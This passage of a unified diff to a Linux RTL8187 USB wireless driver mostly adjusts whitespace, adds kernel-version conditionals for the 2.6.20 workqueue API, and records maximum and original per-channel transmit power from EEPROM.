skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); priv->stats.txdatapkt++; - + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1269,9 +1286,9 @@ struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1281,9 +1298,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1296,7 +1313,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1305,7 +1322,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1313,30 +1330,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1369,10 +1386,10 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } @@ -1406,18 +1423,18 @@ struct r8180_priv *priv = ieee80211_priv(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - + skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1427,7 +1444,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1438,7 +1455,7 @@ return ; } } - + rtl8180_tx(dev, skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); @@ -1461,15 +1478,15 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u8* txbuf, int len, priority_t priority, short morefrag, short rate) { //u32 *tx; - u8 *tx; + u8 *tx; u8 *pdata; u8 seg = ((u32)txbuf % 4); u32 *pdata32; @@ -1480,7 +1497,7 @@ int pend; int status; struct urb *tx_urb; - int urb_len; + int urb_len; u16 AckCtsTime; u16 FrameTime; u16 duration; @@ -1498,20 +1515,20 @@ priv->stats.txlpdrop++; return -1; } - -#if 0 + +#if 0 //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } @@ -1519,7 +1536,7 @@ //urb_len = TX_URB_SIZE; urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx_urb = priv->tx_context[priv->tx_urb_index].tx_urb; @@ -1527,7 +1544,7 @@ pdata = tx + 12; priv->tx_urb_index = (priv->tx_urb_index + 1) % MAX_TX_URB; #endif -#if 0 +#if 0 memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; @@ -1535,7 +1552,7 @@ // printk(KERN_INFO "preamble mode %d,rate %d!\n",priv->plcp_preamble_mode,rate); if (priv->ieee80211->current_network.capability&WLAN_CAPABILITY_SHORT_PREAMBLE) if (priv->plcp_preamble_mode==1 && rate!=0) { // short mode now, not long! - tx[0] |= (1<<16); + tx[0] |= (1<<16); // printk(KERN_INFO "use short preamble!\n"); } // enable short preamble mode. @@ -1548,11 +1565,11 @@ AckCtsTime = ComputeTxTime(14, 10,0, 0); // AckCTSLng = 14 use 1M bps send FrameTime = ComputeTxTime(len + 4, rtl8180_rate2rate(rate), 0, tx[0]&(1<<16)); // RTS/CTS time is calculate as follow - duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; + duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; tx[1] |= duration; //Need to edit here! ----hikaru printk(KERN_INFO "duration %d!\n",duration); } - else + else tx[1]=0; //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS @@ -1562,18 +1579,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); // tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1601,12 +1618,12 @@ } #endif //memcpy(pdata, txbuf, len); - + //tx[0] = 0; //tx[1] = 0; tx[2] = 0; tx[3] = 0; - + //tx[0] |= len & 0xfff; tx[0] = len & 0xff; tx[1] = (len & 0x0f00) >> 8; @@ -1614,25 +1631,25 @@ if (priv->ieee80211->current_network.capability&WLAN_CAPABILITY_SHORT_PREAMBLE) if (priv->plcp_preamble_mode==1 && rate!=0) { // short mode now, not long! - tx[2] |= 1; + tx[2] |= 1; - } + } if ( (len>priv->rts) && priv->rts && priority==LOW_PRIORITY){ tx[2] |= (1<<7); //enalbe RTS function AckCtsTime = ComputeTxTime(14, 10,0, 0); // AckCTSLng = 14 use 1M bps send FrameTime = ComputeTxTime(len + 4, rtl8180_rate2rate(rate), 0, tx[2]&1); // RTS/CTS time is calculate as follow - duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; + duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; tx[4] |= duration & 0xff; //Need to edit here! ----hikaru - tx[5] |= (duration & 0xff00) >> 8; + tx[5] |= (duration & 0xff00) >> 8; printk(KERN_INFO "duration %d!\n",duration); } else { tx[4] = 0; tx[5] = 0; } - + if(morefrag) tx[2] |= (1<<1); tx[2] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 3); /* RTS RATE - should be basic rate */ tx[3] |= rate; @@ -1640,7 +1657,7 @@ tx[8] = 3; // CW min tx[8] |= (7<<4); //CW max tx[9] |= 11;//(priv->retry_data<<8); //retry lim - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, @@ -1662,7 +1679,7 @@ } } - + //void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); @@ -1671,70 +1688,70 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int i,j; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } for(j=0; j < MAX_TX_URB; j++){ struct tx_urb_context *ptrcontext = &priv->tx_context[j]; u8 seg_size; - + ptrcontext->tx_urb = usb_alloc_urb(0,GFP_KERNEL); - if(!ptrcontext->tx_urb) + if(!ptrcontext->tx_urb) goto destroy_tx; - + ptrcontext->transfer_buffer = kmalloc(TX_URB_SIZE, GFP_KERNEL); - if(!ptrcontext->transfer_buffer) + if(!ptrcontext->transfer_buffer) goto destroy1_tx; // set tx_urb 4 byte align seg_size = (u32)ptrcontext->transfer_buffer % 4; ptrcontext->ptalign_buf = ptrcontext->transfer_buffer + ((seg_size > 0)? (4 - seg_size):0); } - + return 0; destroy1_tx: usb_free_urb(priv->tx_context[j].tx_urb); - + destroy_tx: while (--j >= 0){ kfree(priv->tx_context[j].transfer_buffer); usb_free_urb(priv->tx_context[j].tx_urb); } - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); int i,j; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1743,12 +1760,12 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } //added by david. 2007.1.30 for(j=0; j < MAX_TX_URB; j++){ struct tx_urb_context *ptrcontext = &priv->tx_context[j]; - + usb_kill_urb(ptrcontext->tx_urb); kfree(ptrcontext->transfer_buffer); ptrcontext->transfer_buffer = NULL; @@ -1763,16 +1780,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - + // struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + + //if (ieee80211_is_54g(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1784,7 +1801,7 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); @@ -1813,10 +1830,15 @@ #define HW_WAKE_DELAY 5 +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_hw_wakeup(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, hw_wakeup_wq); + struct net_device *dev = ieee->dev; +#else void rtl8180_hw_wakeup(struct net_device *dev) { - //unsigned long flags; - +#endif struct r8180_priv *priv = ieee80211_priv(dev); printk(KERN_INFO "enter rtl8180_hw_wakeup!\n"); if (!priv->ps_sleep_finish) { @@ -1829,7 +1851,7 @@ // spin_lock_irqsave(&priv->ps_lock,flags); //DMESG("Waken up!"); // write_nic_byte(dev,CONFIG4,read_nic_byte(dev,CONFIG4)&~CONFIG4_PWRMGT); - + if(priv->rf_wakeup) priv->rf_wakeup(dev); priv->ps_sleep_finish=0; @@ -1853,19 +1875,32 @@ schedule_work(&priv->rtl8180_hw_wakeup_wq); printk(KERN_INFO "timer wakup schedule!\n"); } -void rtl8180_rq_tx_ack(struct net_device *dev){ - + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_rq_tx_ack(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, ps_request_tx_ack_wq); + struct net_device *dev = ieee->dev; +#else +void rtl8180_rq_tx_ack(struct net_device *dev) +{ +#endif struct r8180_priv *priv = ieee80211_priv(dev); // write_nic_byte(dev,CONFIG4,read_nic_byte(dev,CONFIG4)|CONFIG4_PWRMGT); priv->ack_tx_to_ieee = 1; // printk(KERN_INFO "rtl8180_rq_tx_ack!\n"); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_hw_sleep(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, hw_sleep_wq); + struct net_device *dev = ieee->dev; +#else void rtl8180_hw_sleep(struct net_device *dev) { - +#endif struct r8180_priv *priv = ieee80211_priv(dev); - u32 rb,tl; //unsigned long flags; u32 timeout; @@ -1886,27 +1921,27 @@ rb = read_nic_dword(dev, TSFTR); //// printk(KERN_INFO "enter rtl8180_hw_sleep!\n"); // spin_lock_irqsave(&priv->ps_lock,flags); - + /* Writing HW register with 0 equals to disable * the timer, that is not really what we want */ tl = priv->ieee80211->ps_tl; // printk(KERN_INFO "tl is %lu!\n",tl); tl -= HW_WAKE_DELAY*1000; - + if(tl == 0) tl = 1; - + /* FIXME HACK FIXME HACK */ // force_pci_posting(dev); // mdelay(1); - + // rb = read_nic_dword(dev, TSFTR); #ifdef TONY_PS printk(KERN_INFO "tl %lu, rb %lu!\n",tl,rb); #endif - + //DMESG("sleep until %x, hw @:%x",tl,rb); - + /* If the interval in witch we are requested to sleep is too * short then give up and remain awake */ @@ -1914,12 +1949,12 @@ if(((rbtl)&& (rb-tl) < MIN_SLEEP_TIME)) return; - + // write_nic_dword(dev, TimerInt, tl); //DMESG("sleep.."); // rb = read_nic_dword(dev, TSFTR); - - /* if we suspect the TimerInt is gone beyond tl + + /* if we suspect the TimerInt is gone beyond tl * while setting it, then give up */ if(((tl > rb) && ((tl-rb) > MAX_SLEEP_TIME))|| @@ -1927,29 +1962,29 @@ return; if (rb>tl) - timeout = (rb-tl)>>10;//divide by 1024 + timeout = (rb-tl)>>10;//divide by 1024 else - timeout = (tl-rb)>>10; + timeout = (tl-rb)>>10; // if(priv->rf_sleep) // priv->rf_sleep(dev); priv->ps_timer.expires = jiffies+timeout; //// printk(KERN_INFO "jiffies %lu, timeout %lu!\n",jiffies,timeout); add_timer(&priv->ps_timer); - + if(priv->rf_sleep) priv->rf_sleep(dev); priv->ps_sleep_finish=1; // } // up(&priv->power_sem); -// spin_unlock_irqrestore(&priv->ps_lock,flags); +// spin_unlock_irqrestore(&priv->ps_lock,flags); printk(KERN_INFO "leave sleep!\n"); } short rtl8180_is_tx_queue_empty(struct net_device *dev){ - + struct r8180_priv *priv = ieee80211_priv(dev); - + int used; #ifdef TONY_TRACK DMESG("enter rtl8180_is_tx_queue_empty!\n"); @@ -1957,11 +1992,11 @@ used = atomic_read(&priv->tx_np_pending); //// printk(KERN_INFO "np used %d!\n",used); - if (used) return 0; + if (used) return 0; used = atomic_read(&priv->tx_lp_pending); //// printk(KERN_INFO "lp used %d!\n",used); if (used) return 0; - + return 1; } @@ -1969,7 +2004,7 @@ short rtl8180_init(struct net_device *dev) { - + struct r8180_priv *priv = ieee80211_priv(dev); int i, j; u16 word; @@ -1977,16 +2012,16 @@ //u16 version; //u8 hw_version; //u8 config3; - + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -2004,9 +2039,9 @@ ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -2042,7 +2077,7 @@ priv->ps_sleep_finish=0; priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps @@ -2050,11 +2085,19 @@ priv->ieee80211->mode = IEEE_G|IEEE_B; //2007.1.25 priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); INIT_WORK(&priv->rtl8180_hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev); INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev); INIT_WORK(&priv->ieee80211->hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev); INIT_WORK(&priv->ieee80211->hw_sleep_wq,(void(*)(void*))rtl8180_hw_sleep,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); + INIT_WORK(&priv->rtl8180_hw_wakeup_wq, rtl8180_hw_wakeup); + INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq, rtl8180_rq_tx_ack); + INIT_WORK(&priv->ieee80211->hw_wakeup_wq, rtl8180_hw_wakeup); + INIT_WORK(&priv->ieee80211->hw_sleep_wq, rtl8180_hw_sleep); +#endif // INIT_WORK(&priv->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev); sema_init(&priv->wx_sem,1); sema_init(&priv->power_sem,1); @@ -2068,17 +2111,17 @@ priv->ps_timer.data = (unsigned long)dev; priv->ps_timer.function = timer_hw_wakeup_wq; - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -2100,51 +2143,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -2162,13 +2205,13 @@ priv->plcp_preamble_mode = 2; - + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -2204,8 +2247,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -2213,58 +2256,67 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -2283,30 +2335,30 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } InitSwLeds(dev); - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -2320,16 +2372,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -2349,7 +2401,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -2442,26 +2494,26 @@ struct r8180_priv *priv = ieee80211_priv(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); LedControl8187(dev, LED_CTL_POWER_ON); //write_nic_byte(dev,0x91,1); //write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); @@ -2469,32 +2521,32 @@ rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); -/* +/* rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ - write_nic_dword(dev,INT_TIMEOUT,0); + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2510,13 +2562,13 @@ //add for Led controll write_nic_byte(dev,0x85,4); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2534,7 +2586,7 @@ { int i; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2547,41 +2599,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2592,7 +2644,7 @@ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { struct r8180_priv *priv = 